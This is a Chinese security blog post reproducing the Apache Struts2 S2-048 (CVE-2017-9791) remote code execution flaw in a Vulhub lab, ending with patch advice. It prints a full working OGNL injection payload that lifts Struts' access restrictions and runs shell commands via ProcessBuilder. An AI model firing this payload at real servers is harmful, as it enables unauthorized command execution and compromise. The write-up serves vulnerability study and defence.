freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Apache Struts2--048远程代码执行漏洞复现
2020-10-18 08:18:05

0x00漏洞简述

2017年7月7日,Apache Struts发布最新的安全公告,漏洞编号为CVE-2017-9791(S2-048)该漏洞存在 于Struts2和Struts1一个 Showcase 插件Action Message类中,通过构建不可信的输入实现远程代码执行

0x01影响版本

Apache Struts 2.3.x系列中的Showcase插件

0x02漏洞复现

虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

  • 访问漏洞环境

http://192.168.60.131:8080/hello.action

1602980035_5f8b88c3365b42f15aa3a.png!small

  • 访问漏洞地址

http://192.168.60.131:8080/integration/saveGangster.action

1602980048_5f8b88d06396e1a5ccefb.png!small

  • 通过抓包修改参数值为payload,发现成功执行了 OGNL 表达式。

1602980069_5f8b88e599d40259245f0.png!small

payload命令执行

1602980091_5f8b88fbb6edce149a2cd.png!small

%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='+++++++++++++++++++++++++++id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new+java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}&description=10234

1602980128_5f8b8920753bb0f636216.png!small

下面将通过Python脚本进行漏洞扫描和漏洞利用。

漏洞扫描

1602980139_5f8b892b643957e6b6ae1.png!small

漏洞利用

1602980157_5f8b893d6ffffea70ce4f.png!small

1602980168_5f8b894801f515608f07c.png!small

工具验证加利用

1、验证漏洞

1602980181_5f8b895590e0fe4c0fb33.png!small

2、命令执行

1602980194_5f8b896257ebd75ce8c26.png!small

0x03修复建议

1、升级 建议升级到最新版本

2、根据业务情况,禁用关闭(删除) \struts-2.3.x\apps\struts2-showcase.war包

0x04参考链接

http://vul.tidesec.com

关注弥天安全实验室微信公众平台回复“struts2”获取脚本和工具!

# Struts2漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者